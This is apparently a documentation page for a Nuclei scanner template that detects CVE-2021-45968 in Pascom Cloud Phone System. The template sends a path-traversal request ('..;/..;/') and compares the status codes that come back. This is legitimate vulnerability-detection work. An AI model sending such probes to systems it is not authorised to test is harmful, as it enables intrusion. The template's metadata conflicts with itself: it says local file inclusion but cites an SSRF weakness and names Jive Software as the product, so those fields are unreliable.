Skip to content
Nuclei Templates

Pascom CPS - Local File Inclusion

ID: CVE-2021-45968

Severity: high

Author: dwisiswant0

Tags: cve2021,cve,pascom,lfi,jivesoftware

Description

Section titled “Description”

Pascom packaged with Cloud Phone System (CPS) versions before 7.20 contain a known local file inclusion vulnerability.

YAML Source

Section titled “YAML Source”
id: CVE-2021-45968


info:
  name: Pascom CPS  - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    Pascom packaged with Cloud Phone System (CPS) versions before 7.20 contain a known local file inclusion vulnerability.
  impact: |
    The vulnerability can be exploited by an attacker to gain unauthorized access to sensitive information, execute arbitrary code, or perform other malicious activities.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Local File Inclusion vulnerability in Pascom CPS.
  reference:
    - https://kerbit.io/research/read/blog/4
    - https://www.pascom.net/doc/en/release-notes/
    - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45968
    - https://jivesoftware.com/platform/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45968
    cwe-id: CWE-918
    epss-score: 0.01712
    epss-percentile: 0.87786
    cpe: cpe:2.3:a:jivesoftware:jive:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jivesoftware
    product: jive
  tags: cve2021,cve,pascom,lfi,jivesoftware


http:
  - raw:
      - |
        GET /services/pluginscript/ HTTP/1.1
        Host: {{Hostname}}
        GET /services/pluginscript/..;/..;/ HTTP/1.1
        Host: {{Hostname}}
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "status_code_2 != status_code_1"
        condition: and
# digest: 490a0046304402203568d7414abb1bee83a338533c395f242f2c518b326e4b66ea38aa7d06549125022063f993eaec1f074bce096d547cf002e3272a45672baf5391a720c9360f06cd9f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-45968.yaml"

View on Github